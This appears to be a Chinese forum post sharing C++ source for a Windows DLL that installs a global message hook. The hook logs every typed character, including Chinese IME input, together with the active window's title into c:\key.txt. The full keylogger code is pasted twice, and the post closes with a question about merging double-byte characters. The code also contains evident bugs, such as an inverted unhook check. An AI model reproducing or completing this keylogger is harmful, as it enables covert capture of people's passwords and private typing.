下面是我的代码,可以捕捉汉定和英文,你自己看吧
// alltest.cpp : Defines the entry point for the DLL application.
//#include "stdafx.h"#pragma data_seg(".JOE")
HANDLE hFile=NULL;
HWND prewnd=NULL;
#pragma data_seg()
#pragma comment(linker, "/section:.JOE,rws")
HINSTANCE hInst=NULL;
HHOOK hhook=NULL;
//HHOOK hhook2=NULL;
LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam);
//LRESULT CALLBACK JournalRecordProc(UINT nCode,WPARAM wParam,LPARAM lParam);
extern "C" __declspec(dllexport) BOOL clearMyHook();
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD Reason,
LPVOID Reserved
)
{
switch(Reason)
{ /* reason */
case DLL_PROCESS_ATTACH:
hInst = hInstance;
return TRUE;
case DLL_PROCESS_DETACH:
if(hhook != NULL) clearMyHook();
return TRUE;
} /* reason */
return TRUE;
}extern "C" __declspec(dllexport) BOOL setMyHook()
{
if(hhook != NULL)
return FALSE; // already hooked!
hhook = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)msghook,
hInst,
0);
// hhook2=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInst,0);
if(hhook != NULL)
{ /* success */
return TRUE;
} /* success */
return FALSE; // failed to set hook
} // setMyHook
extern "C" __declspec(dllexport) BOOL clearMyHook()
{
if(hhook!=NULL)
return FALSE;
BOOL unhooked = UnhookWindowsHookEx(hhook);
CloseHandle(hFile);
return unhooked;
} // clearMyHookstatic LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0)
{ /* pass it on */
CallNextHookEx(hhook, nCode, wParam, lParam);
return 0;
} /* pass it on */
LPMSG msg=(LPMSG)lParam;
char buffer;
DWORD number=0;
char winname[100];
if(msg->message==WM_CHAR)
{//如果某键被按下
buffer=(char)msg->wParam;
GetWindowText(GetParent(msg->hwnd),winname,100);
char *newname=new char[lstrlen(winname)+1];
lstrcpy(newname,winname);
hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
SetFilePointer(hFile,NULL,NULL,FILE_END);
if(GetParent(msg->hwnd)!=prewnd)
{
WriteFile(hFile,"\r\n",2,&number,NULL);
WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
WriteFile(hFile,"\r\n",2,&number,NULL);
prewnd=GetParent(msg->hwnd);
}
switch(buffer)
{
case 0x08:
SetFilePointer(hFile,-1,NULL,FILE_CURRENT);
SetEndOfFile(hFile);
break;
default:
WriteFile(hFile,&buffer,1,&number,NULL);
}
CloseHandle(hFile);
} // msghook
else if(msg->message==WM_IME_CHAR)
{
char chCharCode1 = (char)msg->wParam & 0xff;
char chCharCode2 = (char)msg->wParam >> 8;
GetWindowText(GetParent(msg->hwnd),winname,100);
char *newname=new char[lstrlen(winname)+1];
lstrcpy(newname,winname);
hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
SetFilePointer(hFile,NULL,NULL,FILE_END);
if(GetParent(msg->hwnd)!=prewnd)
{
if(prewnd!=NULL)
{
WriteFile(hFile,"\r\n",2,&number,NULL);
}
WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
WriteFile(hFile,"\r\n",2,&number,NULL);
prewnd=GetParent(msg->hwnd);
}
switch(msg->wParam)
{
case 0x08:
SetFilePointer(hFile,-2,NULL,FILE_CURRENT);
SetEndOfFile(hFile);
break;
default:
WriteFile(hFile,&chCharCode1,1,&number,NULL);
WriteFile(hFile,&chCharCode2,1,&number,NULL);
}
CloseHandle(hFile); }
return CallNextHookEx(hhook, nCode, wParam, lParam);
}
// alltest.cpp : Defines the entry point for the DLL application.
//#include "stdafx.h"#pragma data_seg(".JOE")
HANDLE hFile=NULL;
HWND prewnd=NULL;
#pragma data_seg()
#pragma comment(linker, "/section:.JOE,rws")
HINSTANCE hInst=NULL;
HHOOK hhook=NULL;
//HHOOK hhook2=NULL;
LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam);
//LRESULT CALLBACK JournalRecordProc(UINT nCode,WPARAM wParam,LPARAM lParam);
extern "C" __declspec(dllexport) BOOL clearMyHook();
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD Reason,
LPVOID Reserved
)
{
switch(Reason)
{ /* reason */
case DLL_PROCESS_ATTACH:
hInst = hInstance;
return TRUE;
case DLL_PROCESS_DETACH:
if(hhook != NULL) clearMyHook();
return TRUE;
} /* reason */
return TRUE;
}extern "C" __declspec(dllexport) BOOL setMyHook()
{
if(hhook != NULL)
return FALSE; // already hooked!
hhook = SetWindowsHookEx(WH_GETMESSAGE,
(HOOKPROC)msghook,
hInst,
0);
// hhook2=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInst,0);
if(hhook != NULL)
{ /* success */
return TRUE;
} /* success */
return FALSE; // failed to set hook
} // setMyHook
extern "C" __declspec(dllexport) BOOL clearMyHook()
{
if(hhook!=NULL)
return FALSE;
BOOL unhooked = UnhookWindowsHookEx(hhook);
CloseHandle(hFile);
return unhooked;
} // clearMyHookstatic LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0)
{ /* pass it on */
CallNextHookEx(hhook, nCode, wParam, lParam);
return 0;
} /* pass it on */
LPMSG msg=(LPMSG)lParam;
char buffer;
DWORD number=0;
char winname[100];
if(msg->message==WM_CHAR)
{//如果某键被按下
buffer=(char)msg->wParam;
GetWindowText(GetParent(msg->hwnd),winname,100);
char *newname=new char[lstrlen(winname)+1];
lstrcpy(newname,winname);
hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
SetFilePointer(hFile,NULL,NULL,FILE_END);
if(GetParent(msg->hwnd)!=prewnd)
{
WriteFile(hFile,"\r\n",2,&number,NULL);
WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
WriteFile(hFile,"\r\n",2,&number,NULL);
prewnd=GetParent(msg->hwnd);
}
switch(buffer)
{
case 0x08:
SetFilePointer(hFile,-1,NULL,FILE_CURRENT);
SetEndOfFile(hFile);
break;
default:
WriteFile(hFile,&buffer,1,&number,NULL);
}
CloseHandle(hFile);
} // msghook
else if(msg->message==WM_IME_CHAR)
{
char chCharCode1 = (char)msg->wParam & 0xff;
char chCharCode2 = (char)msg->wParam >> 8;
GetWindowText(GetParent(msg->hwnd),winname,100);
char *newname=new char[lstrlen(winname)+1];
lstrcpy(newname,winname);
hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
SetFilePointer(hFile,NULL,NULL,FILE_END);
if(GetParent(msg->hwnd)!=prewnd)
{
if(prewnd!=NULL)
{
WriteFile(hFile,"\r\n",2,&number,NULL);
}
WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
WriteFile(hFile,"\r\n",2,&number,NULL);
prewnd=GetParent(msg->hwnd);
}
switch(msg->wParam)
{
case 0x08:
SetFilePointer(hFile,-2,NULL,FILE_CURRENT);
SetEndOfFile(hFile);
break;
default:
WriteFile(hFile,&chCharCode1,1,&number,NULL);
WriteFile(hFile,&chCharCode2,1,&number,NULL);
}
CloseHandle(hFile); }
return CallNextHookEx(hhook, nCode, wParam, lParam);
}
出发了两次WM_CHAR消息,先发送地位字节,接着发送高位字节,比如一个“人”字,发
送的是msg->wParam=203,msg->wParam=200(两次消息中的wparam参数)
现在我如何合并这个汉字呢??????
各位有没有这现象?怎么办?